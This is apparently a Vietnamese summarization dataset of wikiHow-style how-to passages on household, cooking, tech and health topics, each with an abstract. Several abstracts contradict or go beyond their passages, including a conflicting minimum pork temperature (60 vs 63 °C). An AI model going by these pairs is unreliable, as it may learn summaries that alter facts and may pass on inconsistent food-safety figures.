Nếu không có bồn rửa tay, bạn có thể dùng xô hoặc thậm chí bồn tắm. Bạn cần ít nhất 1 lít nước ấm để ngâm ngập quần áo. Đảm bảo nước có nhiệt độ phòng hoặc hơi ấm hơn để đạt hiệu quả làm giãn sợi vải. Nước lạnh không giúp bạn làm giãn quần áo. Mặt khác, bạn cũng nên tránh dùng nước nóng kẻo quần áo sẽ bị co rút và hư hỏng. Lưu ý, khi áp dụng phương pháp này, chất liệu dệt kim bao gồm cotton, len và cashmere thường đạt được hiệu quả tốt hơn các chất liệu khác. Chất liệu vải sợi được dệt chặt như lụa, tơ nhân tạo hoặc polyester sẽ khó khôi phục lại hình dáng cũ hơn. Mở khăn và chuyển quần áo sang chiếc khăn khô thứ hai được trải trên mặt phẳng. Dùng tay kéo các mép của quần áo còn ướt. Hãy nhẹ nhàng để tránh làm hỏng sợi vải. Quần áo sẽ không còn giống hệt như trước khi bị co rút, nhưng bạn cứ cố gắng hết sức để khôi phục lại hình dạng ban đầu. Để ước tính chính xác kích cỡ và hình dáng của trang phục cần xử lý, hãy cắt một hình mẫu. Bạn sẽ tìm trang phục có kích cỡ tương tự và dùng để cắt mẫu trên giấy nến. Bước tiếp theo là đặt trang phục lên mẫu trong khi dùng tay kéo giãn. Nếu bạn gặp khó khăn trong việc kéo giãn quần áo, hãy dùng chế độ hơi nước trên bàn là. Hơi nước sẽ làm mềm chất liệu vải cứng. Quần áo lúc này vẫn được đặt trên khăn. Lần lượt xử lý từng phần của quần áo để bạn có thể giữ cố định chúng trong khi khôi phục hình dạng. Nếu không có sách nặng, bạn có thể dùng đồ chặn giấy, cốc cà phê hoặc bất kỳ thứ gì mà bạn có. Cuối cùng, quần áo của bạn phải được đặt dưới những vật nặng để tránh tình trạng xê dịch. Nếu không có sẵn vật nặng, bạn có thể giữ cố định quần áo bằng kẹp. Quần áo cần được giữ nguyên như vậy đến khi khô. Nếu quần áo bị co rút nhiều, bạn nên kiểm tra quần áo sau mỗi 30 phút và tiếp tục thao tác kéo giãn. Nếu bạn muốn quần áo khô nhanh hơn, hãy phơi ngoài trời. Bạn có thể treo quần áo lên giàn phơi, móc treo quần áo hoặc đặt tại khu vực ngoài trời nào đó tránh xa sức nóng và ánh nắng trực tiếp. Bạn không cần xả sạch dầu gội, nhưng có thể giặt quần áo bằng tay như thường lệ nếu cảm thấy chất liệu vải có gì đó khác thường. Lưu ý tình trạng của quần áo trong khi phơi. Trọng lực sẽ phần nào kéo quần áo xuống, đặc biệt là khi vẫn còn ướt. Đây là yếu tố giúp cho quần áo giãn ra. Nếu quần áo vẫn chưa giãn như bạn mong muốn, hãy lặp lại thao tác xử lý trên. Có lẽ bạn cần thực hiện việc này nhiều lần nếu quần áo bị co rút nhiều.

Abstract: Làm đầy bồn rửa tay với nước ấm. Dùng tay kéo giãn quần áo để khôi phục lại hình dạng ban đầu. Giữ cố định quần áo bằng sách và vật nặng khác. Giặt và phơi quần áo một lần nữa nếu cần.


Nhiệt kế đo nhiệt độ tức thời không cần phải chọc vào lát thịt trong suốt quá trình nấu. Thay vào đó, bạn sẽ định kỳ chọc nhiệt kế vào thịt để kiểm tra nhiệt độ bên trong. Không giống như nhiệt kế đo nhiệt độ liên tục, mỗi lần kiểm tra bạn sẽ chọc và rút nhiệt kế ra. Đừng đo nhiệt độ tức thời trên bề mặt vì nó không phản ánh nhiệt độ nấu bên trong. Nếu bạn dùng công thức nấu ăn thì có thể tham khảo thời gian cần nấu thịt, nhưng không nên lệ thuộc vào khung thời gian đó. Kiểm tra thịt định kỳ và tiếp tục nấu cho đến khi nhiệt độ đạt tối thiểu 60 °C (140 °F), hoặc 71 °C (160 °F) đối với thịt xay. Nên nhớ thịt lợn sẽ tiếp tục được nấu sau khi bạn lấy ra khỏi nguồn nhiệt. Khi nhiệt độ trong thịt lợn gần đạt đến nhiệt độ khuyến nghị, bạn hãy lấy thịt ra khỏi nguồn nhiệt và chờ vài phút trước khi ăn. Nên nhớ, nhiệt độ bên trong thịt phải đạt tối thiểu 63 °C (145 °F), do đó bạn nên chú ý vấn đề này. Nhiệt độ bên trong 63 °C (145 °F) sẽ được xem là "tái", vậy nên bạn có thể chọn cách nấu lâu hơn. Nhiệt độ bên trong 71 °C (160 °F) thường được xem là đã chín. Bạn không cần phải chờ sau khi lấy thịt xay ra khỏi nguồn nhiệt.

Abstract: Nấu thịt lợn với nhiệt kế đo nhiệt độ tức thời. Tiếp tục nấu cho đến khi nhiệt độ thịt đạt tối thiểu 60 °C (140 °F). Lấy thịt lợn ra khỏi lò nướng và để yên đó.


Bạn hãy mở ứng dụng Facebook—ứng dụng có biểu tượng màu xanh biển và một chữ "F" màu trắng bên trong, trên điện thoại di động hoặc máy tính bảng. Nếu dùng máy tính (hoặc không dùng ứng dụng Facebook trên điện thoại), bạn có thể truy cập trang https://www.facebook.com trên trình duyệt. Nếu chưa đăng nhập vào Facebook, bạn hãy nhập thông tin đăng nhập và nhấn Log In (Đăng nhập). Khi bạn nhập tên bạn bè của mình, Facebook sẽ bắt đầu hiển thị một danh sách các kết quả tìm kiếm phù hợp. Bạn có thể thay thế từ posts (bài viết) bằng "photos" (ảnh) nếu muốn xem bạn bè của mình đã ấn "Like" (Thích) những bức ảnh nào. Lúc này bạn sẽ thấy một số bài viết (hoặc ảnh) mà bạn bè của bạn đã "Like". Để xem toàn bộ danh sách, bạn hãy chạm hoặc nhấn chữ See All (Xem tất cả) dưới các bài viết và ảnh hiển thị. Bạn chỉ có thể xem ảnh và bài viết khi có quyền xem. Ví dụ, nếu bạn bè của bạn thích một bức ảnh để ở chế độ "Friends Only" (Bạn bè) mà người chia sẻ không phải là bạn bè của bạn trên Facebook thì bạn sẽ không xem được bức ảnh đó.

Abstract: Mở Facebook. Nhập posts liked by (your friend's full name) (Bài viết đã thích bởi (tên bạn bè) vào ô tìm kiếm ở phía trên màn hình. Chọn một kết quả từ danh sách kết quả tìm kiếm.


Bạn cần một thiết bị có khả năng lưu trữ toàn bộ dữ liệu cần sao lưu. Nó phải có dung lượng lớn gấp đôi ổ cứng cần sao lưu. Một ổ cứng ngoài là lựa chọn tốt nhất và dễ tìm. Bạn có thể tạo phân vùng nếu muốn dùng máy tính hiện tại để sao lưu. Dù đây là lựa chọn an toàn nhưng bạn cũng nên cẩn thận vì hệ thống vẫn nhạy cảm với lỗi ổ cứng và những vấn đề khác. Dùng cáp USB hoặc phương thức kết nối khác, cắm thiết bị lưu trữ vào máy tính cần sao lưu. Sau khi cắm thiết bị vào máy, một hộp thoại sẽ xuất hiện hỏi bạn có cần dùng thiết bị để sao lưu Time Machine (Cỗ máy Thời gian). Nhấn đồng ý để tiếp tục và nhấp chuột vào "Use as Backup Disk" (Sử dụng như Ổ đĩa Sao lưu). Nếu máy không tự động nhận dạng thiết bị, bạn có thể bắt đầu quá trình theo cách thủ công bằng cách truy cập vào Cỗ máy Thời gian từ phần System Preferences (Tùy chỉnh Hệ thống). Quá trình được bắt đầu tự động. Nếu là lần đầu tiên có thể sẽ mất khá nhiều thời gian vậy nên bạn có thể tiến hành sao lưu vào ban đêm hoặc trước khi đi làm để không mất công đợi. Bạn có thể vào bảng Time Machine (Cỗ máy Thời gian) trong phần System Preferences (Tùy chỉnh Hệ thống) để thay đổi cài đặt. Chọn "Options" (Tùy chọn) ở góc dưới cùng bên phải màn hình để thay đổi hạng mục đính kèm, thông báo cài đặt và tùy chọn năng lượng pin.

Abstract: Tìm một thiết bị lưu trữ thích hợp. Cắm thiết bị vào máy tính. Cho phép tiến hành quá trình sao lưu. Thiết lập Cài đặt.


AirPods sẽ tắt nguồn khi được cho vào hộp. Hộp đựng cũng là dụng cụ sạc và sẽ sạc AirPods khi nắp đã được đóng. Dùng cáp sạc đi kèm với AirPods để sạc hộp và AirPods cùng lúc. Đầu USB có thể kết nối với bộ chuyển đổi AC hoặc máy vi tính để sạc.

Abstract: Đặt AirPods trong hộp đựng. Đóng nắp hộp. Sạc hộp đựng.


Bạn có thể cho bạn trai cảm nhận được tình cảm của mình qua việc thực hiện những điều nhỏ nhặt một cách bất ngờ. Chẳng hạn như bạn chuẩn bị một cốc cà phê hoặc thức uống yêu thích của chàng vào buổi sáng, mua món ăn vặt mà chàng thích hoặc làm một việc gì đó tử tế khi chàng vừa trải qua một ngày mệt mỏi. Tìm cách giúp bạn thể hiện sự chú ý và quan tâm dành cho anh ấy. Ví dụ như nấu bữa ăn yêu thích của chàng khi chàng không vui, bạn sẽ mặc bộ trang phục mà anh ấy thích hoặc tạo bất ngờ bằng một chuyến đi đến nơi yêu thích của anh ấy vào dịp cuối tuần. Một trong những cách hay nhất để thể hiện tình cảm với người ấy là dùng những cử chỉ thân mật. Ôm và hôn là hành động mà các cặp đôi thường dùng để thể hiện tình cảm cho nhau. Bạn cũng có thể nắm tay, âu yếm hoặc vuốt ve khi trò chuyện. Tất nhiên, việc tình cảm trở nên nhạt nhòa sau khi hai bạn ở bên nhau vài năm là hoàn toàn bình thường. Đừng dừng việc ôm hoặc hôn anh ấy trước khi về nhà sau buổi hẹn hò. Vẫn tiếp tục việc âu yếm khi hai bạn cùng xem tivi. Nếu bạn đột nhiên dừng những cử chỉ thân mật, anh ấy sẽ nghĩ rằng bạn đã hết yêu. Bạn nên yêu thương và tặng bạn trai những món quà đáng yêu vào dịp đặc biệt. Tuy nhiên, bạn nên tránh việc thể hiện tình cảm quá mức hoặc mua quà cho anh ấy không vì lý do gì cả. Chứng minh anh ấy là duy nhất không có nghĩa là bạn làm cho anh ấy ngập ngụa trong yêu thương. Bên cạnh đó, việc thể hiện tình cảm quá đà có thể làm cho anh ấy nghĩ rằng bạn đang cố bù đắp cho cảm giác tội lỗi. . Nếu người yêu của bạn cũng là một người hiện đại, anh ấy sẽ đánh giá cao sự sáng suốt và tự tin ở bạn. Khi để sự tự tin của mình tỏa sáng, bạn đang gợi nhắc đến lý do tại sao anh ấy lại phải lòng bạn ngay lần gặp đầu tiên. Bạn cũng đang thể hiện rằng mình có lòng tự trọng mà những người yêu thiếu chung thủy không có. Thể hiện sự tự tin bằng cách dám nói lên cảm xúc của bạn (một cách bình tĩnh) khi bị anh ấy làm tổn thương. Trở nên yếu đuối không phải là một phần của tình yêu chân thành và chung thủy. Đôi khi bạn không thể lường trước một số chuyện trong cuộc sống. Nếu bạn phải hủy buổi hẹn tối vì cơn đau đầu dữ dội xuất hiện sau bữa trưa thì điều đó có thể thông cảm. Ngược lại, nếu bạn liên tục hủy buổi hẹn vì "việc gì đó bất ngờ xảy ra", anh ấy sẽ dần mất niềm tin với bạn. Bạn có thể hơi ghen khi anh ấy ngắm nhìn một đối tượng khác. Tuy nhiên, nếu anh ấy không tán tỉnh họ, phớt lờ bạn hoặc nhận những tin nhắn đáng nghi, bạn không cần phải lo lắng về điều đó. Những kẻ lừa dối thường buộc tội người yêu không chung thủy khi họ không có bằng chứng. Do đó, không nên để anh ấy có lý do nghĩ rằng bạn đang làm gì đó sai trái. Đừng quên sự quan trọng của anh ấy trong cuộc sống của bạn. Hãy nói bạn hạnh phúc đến nhường nào khi ở cạnh anh ấy. Khen ngợi và làm những việc tốt đẹp cho bạn trai và nói bạn yêu anh ấy. Những cử chỉ nhỏ này có thể làm cho chàng cảm thấy được yêu thương. Tránh kể cho anh ấy nghe quá nhiều về những diễn viên điển trai hoặc người yêu cũ. Mặc dù anh ấy biết bạn sẽ không bao giờ gặp họ, nhưng việc nói quá nhiều về những đối tượng đó có thể làm anh ấy nản lòng. Bạn cũng có thể đứng về phía bạn trai trước mặt những người khác nếu có cơ hội. Đảm bảo khen ngợi anh ấy trước mặt những người quan trọng với bạn, chẳng hạn như cha mẹ và bạn bè. Bất ngờ gửi cho anh ấy một tin nhắn hoặc email tình cảm. Thỉnh thoảng viết một lời nhắn ngọt ngào dành cho anh ấy. Việc này sẽ chứng minh rằng bạn luôn nghĩ về anh ấy mà không phải ai khác khi hai người không ở cạnh nhau. Việc bạn cố gắng trông đặc biệt hơn thường ngày khi cả hai gặp nhau là một cách để thể hiện tình cảm của bạn. Bất kể hai bạn đã ở bên nhau bao lâu, việc cố gắng chăm chút cho ngoại hình sẽ làm anh ấy nhớ đến lý do yêu bạn và cũng cho thấy bạn thật sự yêu nên mới đầu tư cho vẻ ngoài vì anh ấy. Ví dụ, chọn trang phục mà bạn biết anh ấy cho là gợi cảm, chăm chút cho bản thân, dùng mùi nước hoa mà anh ấy thích và tạo kiểu cho mái tóc. Mặc dù sau một khoảng thời gian bên nhau, bạn không còn quan tâm đến ngoại hình, nhưng việc ăn mặc đẹp sẽ tạo ra cảm giác mới mẻ trong mối quan hệ. Nếu người ấy có đam mê dành cho một sở thích nào đó, bạn nên quan tâm và nhờ anh ấy chỉ dẫn thêm về điều đó; như vậy, anh ấy sẽ hiểu được tầm quan trọng của mình đối với bạn. Ví dụ, nếu bạn trai là một người hâm mộ bóng đá và bạn thì không biết nhiều về môn thể thao này, hãy hỏi anh ấy về quy định trong các trận đấu và thậm chí đề nghị anh ấy đưa bạn đến sân bóng để tìm hiểu về những điều cơ bản. Hoặc, nếu anh ấy rất thích các trò chơi điện tử, bạn có thể nhờ anh ấy hướng dẫn cách chơi trò yêu thích của mình. Hỏi các mẹo và bí quyết mà anh ấy đã tích lũy được từ trò chơi đó.

Abstract: Thực hiện những việc nhỏ nhặt nhưng ý nghĩa vì anh ấy. Thân mật với bạn trai. Giữ sự thân mật ở mức vừa phải. Tự tin Giữ lời hứa. Tin tưởng anh ấy. Cho anh ấy thấy tầm quan trọng của mình đối với bạn. Cho người ấy biết bạn đang nghĩ về họ. Ăn mặc đẹp vì anh ấy. Quan tâm đến sở thích của anh ấy.


Bạn đang khái quát chứ không đánh giá bài báo khoa học. Trong phần đầu bài báo, khả năng ở đoạn mở đầu, tác giả sẽ đề cập tới trọng tâm và mục tiêu của nghiên cứu. Đây cũng nên là điểm bắt đầu của bản tóm tắt. Mô tả luận điểm chính mà tác giả muốn chứng minh qua nghiên cứu bằng lời văn của bạn. Các bài báo khoa học thường sẽ có phần mở đầu thiết lập cơ sở cho toàn bộ thí nghiệm hoặc nghiên cứu và không đưa ra nhiều thông tin để tóm tắt. Phần này được tiếp nối bởi câu hỏi nghiên cứu và phương pháp thí nghiệm, những mục quan trọng ảnh hưởng tới nội dung còn lại của bài báo. Phần này bình luận về các công cụ và phương pháp nghiên cứu. Nói cách khác, bạn cần tóm tắt cách thức các tác giả hoặc các nhà nghiên cứu đi đến kết luận dựa trên những nghiên cứu hoặc số liệu họ trực tiếp thu thập được. Không cần đưa toàn bộ chi tiết về phương pháp thí nghiệm vào bản tóm tắt. Phương pháp thí nghiệm nên được rút gọn thành một ý đơn giản để làm rõ cách thức giải quyết câu hỏi nghiên cứu. Kết quả nghiên cứu thường là dữ liệu đã qua xử lý, đôi khi kèm theo dữ liệu thô trước khi xử lý. Bạn chỉ cần đưa dữ liệu đã qua xử lý vào bản tóm tắt. Một trong những phần quan trọng nhất của bản tóm tắt là kết quả mà các tác giả đạt được từ công trình của họ. Họ có thành công và có đạt được mục tiêu nghiên cứu không? Những kết luận nào đã được đưa ra? Hệ quả của nghiên cứu được mô tả trong bài báo là gì? Đảm bảo bản tóm tắt đã đề cập tới câu hỏi nghiên cứu, kết luận/kết quả và cách thức đạt được những kết quả đó. Đây là những phần quan trọng của bài báo và không thể thiếu trong bản tóm tắt. Đối với một vài bản tóm tắt, bạn cần trình bày mối tương quan giữa những ý tưởng được tác giả phát triển trong bài báo. Mục tiêu chủ yếu của bản tóm tắt là khái quát cho người đọc những điểm chính yếu được tác giả đưa ra, do đó bạn cần phân tích và giải thích những luận điểm này bằng lời văn của mình. Bổ sung những ý còn thiếu và các giả thiết, làm rõ và tóm tắt nội dung nghiên cứu. Đôi khi bước này quan trọng hơn khi bạn phải tóm tắt những bài báo trong ngành nhân văn. Ví dụ, với những luận điểm đầy ý tứ về mối quan hệ của nhà thơ George Herbert với các vị thần, việc phân tích chúng bằng câu tóm lược đơn thuần như sau sẽ có lợi cho bài viết của bạn: "Tác giả nhân cách hóa Herbert qua bình luận về nhịp sống hàng ngày thay vì những triết lý của ông ấy". Một bản tóm tắt không nên là một bài xã luận và cũng không trình bày cách thức giải thích số liệu riêng của bạn, trừ khi đó là một yêu cầu cụ thể của bài viết. Nhìn chung, mục đích của bản tóm tắt là khái quát quan điểm của tác giả, không phải để bạn đề cập thêm quan điểm của bản thân. Điều này có thể khó đối với những người chưa có nhiều kinh nghiệm viết bài nghiên cứu, tuy nhiên hãy nhớ bỏ qua cái tôi của mình trong bài. Các câu trích dẫn thường được sử dụng nhiều hơn trong văn tranh luận ở bậc đại học và không quá quan trọng đối với bản tóm tắt. Tập trung viết về quan điểm của tác giả bằng lời văn của mình mà không làm đánh mất ý nghĩa cũng như nội dung của những quan điểm đó. Luôn luôn sử dụng thì hiện tại đơn khi bạn đề cập tới nội dung của bài báo khoa học. Điều này sẽ giúp bạn duy trì một cấu trúc ngữ pháp xuyên suốt bài viết của mình. Những bài viết hay được hình thành sau quá trình sửa chữa. So sánh trọng tâm và nội dung của bản tóm tắt để xem liệu chúng có tương ứng với nội dung bài báo hay không. Một bản tóm tắt bài báo khoa học có chất lượng tốt sẽ khái quát ngắn gọn cho người đọc về công trình nghiên cứu, điều này rất quan trọng khi họ đang tìm kiếm thông tin cụ thể về một chủ đề nhất định.

Abstract: Không sử dụng các đại từ nhân xưng như tôi, bạn, chúng tôi. Giữ giọng văn trung lập nhất có thể. Bắt đầu bằng việc xác định câu hỏi nghiên cứu. Đề cập tới phương pháp luận được các tác giả sử dụng. Mô tả kết quả. Kết nối những ý tưởng chính được trình bày trong bài báo. Không đưa ra kết luận của chính mình. Tránh trích dẫn trực tiếp từ bài báo khoa học. Dùng thì hiện tại đơn. Đọc và sửa lại bản nháp.


Để tạm thời thoát khỏi sự phá hoại của kiến, hãy phun nước thật mạnh lên những bụi hoa mẫu đơn. Cách này sẽ giết được kiến trên bụi cây, nhưng không ngăn chặn vĩnh viễn nhiều con kiến khác xâm nhập vào cây mẫu đơn của bạn. Tìm bình diệt côn trùng dạng xịt và đảm bảo nhà sản xuất ghi rõ rằng sản phẩm này đuổi kiến hiệu quả. Sử dụng thuốc diệt côn trùng theo hướng dẫn của nhà sản xuất, thường là 2-3 lần một tuần trong vòng 2 tuần. Phương pháp này thường sẽ không được chấp nhận nếu bạn cam kết làm vườn hữu cơ hoặc không muốn làm hại các côn trùng có ích giúp cây thụ phấn. Hòa 2 đến 3 thìa canh (30 đến 40 mL) dầu bạc hà với 1lít nước trong chai xịt để tạo ra chất xua đuổi tự nhiên. Xịt hỗn hợp lên thân cây hoa mẫu đơn và xung quanh bụi cây để đuổi kiến. Bạn cũng có thể sử dụng 2 đến 3 thìa canh (30 đến 40 mL) ớt cayenne hoặc tỏi băm thay cho dầu bạc hà. Trộn một trong những thứ này với 1 lít nước và phun dung dịch vào bụi cây hoa mẫu đơn, hoặc thử pha dung dịch 1 phần giấm táo với 1 phần nước. Nếu việc ngăn kiến lại gần hoa mẫu đơn luôn là mục tiêu của bạn, bạn có thể làm bẫy kiến đơn giản bằng cách sử dụng giấy và sáp dầu (kem Vaseline). Cắt giấy thành một hình tròn có đường kính khoảng 15 cm. Cắt một đường thẳng từ mép ngoài đến tâm vòng tròn, sau đó cắt ra một vòng tròn nhỏ ở giữa vòng tròn giấy. Phết kem Vaseline lên một mặt của vòng tròn giấy, sau đó đặt vòng tròn giấy bao quanh thân cây hoa mẫu đơn, với thân cây ở giữa vòng tròn. Nếu mặt giấy có kem Vaseline hướng lên trên, bất kỳ con kiến nào cố gắng trèo lên cây cũng sẽ bị dính vào đó. Một cách khác để ngăn kiến xâm nhập vào hoa mẫu đơn là trồng cây đuổi kiến gần đó. Một số loại cây phổ biến có tác dụng đuổi kiến là phong lữ, bạc hà, tỏi và hoa cúc tâm tư.

Abstract: Phun nước lên hoa mẫu đơn là một giải pháp tức thời. Dùng thuốc diệt côn trùng xịt vào hoa mẫu đơn là giải pháp lâu dài hơn. Xử lý bụi hoa mẫu đơn bằng thuốc đuổi kiến tự nhiên để tránh sử dụng thuốc diệt côn trùng. Ngăn kiến trèo lên thân cây bằng bẫy kiến tự chế. Trồng những cây có công dụng đuổi kiến cùng với hoa mẫu đơn.


Bạn nên dùng loại dầu gội trong suốt không có màu. Nếu bạn có mái tóc rất dài và đã nghiền rất nhiều viên vitamin C, hãy dùng 5-6 thìa canh (khoảng 75-90ml) dầu gội đầu. Dùng thìa khuấy bột vitamin C và dầu gội đầu đến khi có hỗn hợp bột sệt như keo. Dùng chai xịt đựng nước ấm để làm ướt tóc nhưng không khiến tóc ướt sũng nước. Thoa hỗn hợp lên tóc rồi mát xa từ chân tóc đến ngọn tóc. Đảm bảo hỗn hợp được thoa đều trên cả mái tóc. Nếu có mái tóc dày hoặc dài, bạn sẽ cần thoa hỗn hợp lên từng phần tóc để không bỏ sót. Bạn chỉ cần chia tóc thành 4-8 phần trước khi bắt đầu. Thoa ít nhất một lớp hỗn hợp lên cả mái tóc sao cho mọi phần tóc đều bám hỗn hợp. Như vậy, vitamin C sẽ có đủ thời gian để thấm vào tóc. Bạn cũng có thể dùng thêm nhiệt từ máy sấy tóc để rút ngắn thời gian ủ tóc.

Abstract: Khuấy bột vitamin C với 3-4 thìa canh (khoảng 45-60ml) dầu gội đầu trong bát. Làm ước tóc và thoa hỗn hợp. Đội mũ tắm và ủ tóc ít nhất 2 tiếng.


Nước đá có thể giảm sưng và làm tê vết loét. Nếu có thể, bạn hãy dùng lưỡi giữ một viên đá trên vết loét cho đến khi đá tan hết. Trữ đá viên trong bình cách nhiệt hoặc cốc xốp để đá không mau tan và dùng cả ngày. Nếu thấy đá viên quá lạnh, ít nhất bạn cũng nên uống nước mát trong cả ngày. Ngậm nước trong miệng và súc nhẹ cho chạm vào vết loét trước khi nuốt. Các thức ăn cay, chua và ráp có thể kích thích vết loét. Điều này sẽ gây đau và có thể khiến vết loét lâu lành. Bạn nên ăn thức ăn nhạt và mềm để giúp chữa lành vết loét. Tránh các thức uống có gas, nước hoa quả họ cam chanh và thức ăn cứng như bánh mì nướng và bất cứ thức ăn nào cay và mặn. Các vết trầy xước trong miệng do bàn chải đánh răng có thể gây loét và chắc chắn sẽ khiến các vết loét có sẵn càng đau hơn. Bạn cần tránh khiến các vết loét trầm trọng thêm bằng cách dùng bàn chải đánh răng mềm và cố gắng tránh đụng vào vết loét. Mua kem đánh răng dành cho răng nhạy cảm như Biotene hoặc Sensodyne ProNamel để đánh răng cho đến khi lành vết loét. Nếu không loại bỏ được vết loét trong miệng nhanh như mong muốn, ít ra bạn cũng có thể cố gắng giảm sự khó chịu bằng cách uống thuốc giảm đau không kê toa như ibuprofen hoặc dùng gel làm tê không kê toa. Các loại thuốc này có bán tại các hiệu thuốc. Nếu bạn có bệnh hoặc đang uống các loại thuốc khác, hãy trao đổi với dược sĩ hoặc bác sĩ trước khi chọn một loại thuốc. Không uống aspirin nếu bạn dưới 16 tuổi. Không cho trẻ em uống aspirin. Bạn có thể mua viên ngậm chứa kẽm ở các hiệu thuốc. Mặc dù cách này chưa được chứng minh là có hiệu quả, nhưng một số người thấy nó có tác dụng giảm sự khó chịu và giúp các vết loét mau lành. Sử dụng theo hướng dẫn trên bao bì sản phẩm. Vitamin B và C có thể giúp trị các vết loét trong miệng, mặc dù tác dụng này vẫn còn cần được nghiên cứu thêm. Bạn có thể mua thực phẩm bổ sung vitamin ở hiệu thuốc sau khi tham khảo ý kiến bác sĩ hoặc dược sĩ. Chỉ sử dụng theo liều lượng được hướng dẫn. Lysine, một loại axit amin, có thể giúp trị các vết loét trong miệng. Tuy nhiên công dụng này còn cần được nghiên cứu thêm. Bạn nên hỏi bác sĩ hoặc dược sĩ xem liệu có lý do nào khiến bạn không nên dùng lysine không. Echinacea là một lại thảo dược có dạng thực phẩm bổ sung bán tại các hiệu thuốc. Thảo dược này có tác dụng đối với hệ miễn dịch nên có thể giúp các vết loét mau lành. Bạn hãy hỏi ý kiến bác sĩ hoặc dược sĩ xem việc sử dụng echinacea có an toàn với bạn không.

Abstract: Mút đá viên. Tránh các món ăn có tính axit và thức ăn cay. Nhẹ nhàng khi đánh răng. Uống thuốc giảm đau không kê toa. Mút viên ngậm chứa kẽm. Thử dùng thực phẩm bổ sung vitamin. Uống thực phẩm bổ sung lysine. Uống echinacea (cây cúc dại).


Việc quan sát các dấu hiệu của dòng chảy xa bờ có thể giúp bạn tránh bị cuốn vào đó ngay từ đầu. Tuy nhiên, đừng quên rằng không phải lúc nào cũng phát hiện được dòng chảy xa bờ, vì vậy bạn cần thận trọng ngay cả khi không thấy dấu hiệu cảnh báo nào. Các dấu hiệu của dòng chảy xa bờ khá mơ hồ và không phải lúc nào cũng xuất hiện. Dòng chảy xa bờ cũng có thể hình thành khi bạn đã ở dưới nước. Khi tới bãi biển, bạn hãy quan sát nơi các con sóng vỗ lên bờ cát. Một vị trí trên cao như cồn cát hoặc lối đi lát ván sẽ cung cấp cho bạn điểm quan sát tốt. Bạn sẽ dễ phát hiện dòng chảy xa bờ khi ở trên cao hơn là ở ngang tầm mắt. Kính mát phân cực có thể giúp bạn dễ phát hiện các dấu hiệu cảnh báo về dòng chảy xa bờ hơn. Khi không bị chói nắng, bạn có thể nhận ra các dấu hiệu như lỗ hổng trong các con sóng hay các mảnh vụn bị cuốn ra biển. Kiểm tra những khu vực không có bọt trắng hoặc có vẻ như không có sóng vỗ. Lưu ý rằng bạn không tìm lỗ hổng giữa hai con sóng. Các lỗ hổng báo hiệu dòng chảy xa bờ xuất hiện ngay trong con sóng nằm ngang. Thử lên mạng tìm các hình ảnh về các dòng chảy xa bờ. Dòng chảy xa bờ khó phát hiện, nhưng dấu hiệu đáng tin cậy là lỗ hổng trong con sóng. Thông thường, sóng biển sẽ đẩy bọt nước, rong rêu và các mảnh vụn khác vào bờ cát. Bạn hãy tìm các dòng vật thể bị trôi ra biển thay vì dập dềnh trên mặt biển hoặc giạt vào bờ. Các dòng chảy này có thể trông như con sông nằm trong đại dương chảy ra xa bờ. Ngoài ra, dòng chảy xa bờ có thể có màu nước hơi khác một chút. Hiện tượng này là do dòng chảy cuốn các cặn lắng dưới đáy lên. Đừng bước xuống nước ở những khu vực mà bạn đã phát hiện ra các dấu hiệu của dòng chảy xa bờ. Bạn nên báo cho đội cứu hộ ở gần nhất; có thể là họ đã biết, nhưng kiểm tra lại để đề phòng cũng tốt. Hỏi họ về dự báo thời tiết bãi biển và các cảnh báo nguy hiểm. Hãy luôn cảnh giác, cho dù bạn không thấy dấu hiệu nào của dòng chảy xa bờ. Hiện tượng này thường khó phát hiện, và một dòng chảy xa bờ có thể xuất hiện ngay cả khi bạn không thấy chỉ dấu nào.

Abstract: Cố gắng xác định những khu vực nên tránh trước khi bước xuống nước. Kiểm tra bờ biển từ vị trí trên cao. Tìm các lỗ hổng trong các con sóng đang tiến đến. Chú ý đến các bọt nước hoặc rong rêu bị cuốn ra xa bờ. Tránh xa các khu vực mà bạn nghi ngờ dòng chảy xa bờ hình thành.


Nếu nhận ra mùi khó chịu trong xe, bạn nên tìm kiếm nguyên nhân. Hãy tìm trên sàn xe xem có bất kỳ thứ gì gây mùi hay không, chẳng hạn như quần áo, vệt nước hoặc thức ăn. Nhớ kiểm tra bên dưới cũng như rãnh ở giữa các ghế ngồi, các ngăn kéo hoặc ngăn đựng nước và cốp xe. Lấy một túi rác to để vứt những thứ gây mùi, chẳng hạn như giấy gói hoặc túi đựng thức ăn, khăn giấy cũ và bất kỳ thứ gì khác. Thậm chí tạp chí cũng có thể gây mùi mốc nếu bị ẩm. Vứt bỏ bất kỳ thứ gì không cần thiết trong xe sẽ giúp giảm bớt mùi. Đảm bảo vệ sinh mọi ngóc ngách trong xe, bao gồm bên dưới thảm và dưới ghế ngồi. Bạn cũng nên hút bụi trên bề mặt chỗ ngồi. Nhớ đặt vòi hút bụi vào các góc hoặc rãnh của ghế ngồi để làm sạch bụi bẩn và rác bị mắc kẹt ở giữa các ghế ngồi. Bạn cũng có thể dùng máy hút bụi cầm tay nếu có sẵn ở nhà, nhưng việc rửa xe ở tiệm thường hiệu quả hơn. Ở tiệm rửa xe, người ta thường dùng máy hút bụi vòi to để làm sạch hoàn toàn bụi bẩn và rác trong xe vốn là nguyên nhân gây mùi khó chịu. Nếu thấy các vệt nước trong khi vệ sinh, bạn sẽ dùng sản phẩm vệ sinh thảm hoặc dầu gội để làm sạch. Thoa sản phẩm lên vết bẩn theo hướng dẫn sử dụng. Sau đó, dùng khăn mềm hoặc mút xốp để chà vết bẩn và dùng nước lau sạch. Hầu hết các sản phẩm vệ sinh nên được hòa tan với nước trước khi sử dụng. Trước tiên, bạn nhớ kiểm tra sản phẩm tại một vị trí nhỏ và không dễ nhìn thấy trên sàn xe để đảm bảo sản phẩm đó an toàn cho phần nội thất của xe. Bên cạnh việc vệ sinh thảm, bạn cũng cần lau bất kỳ bề mặt nào không có thảm, chẳng hạn như bảng đồng hồ. Làm sạch các vệt nước và vệt ố trên những vùng này bằng sản phẩm vệ sinh thông thường. Trước tiên, bạn nên kiểm tra sản phẩm vệ sinh tại một vị trí nhỏ và khó thấy trên xe để đảm bảo nó không gây hư hại cho xe.

Abstract: Tìm những thứ gây mùi. Vứt bỏ những thứ gây mùi khó chịu. Dùng máy hút bụi để vệ sinh bên trong xe. Làm sạch các vệt nước và vệt ố trên thảm. Lau sạch các bề mặt không có lót thảm.


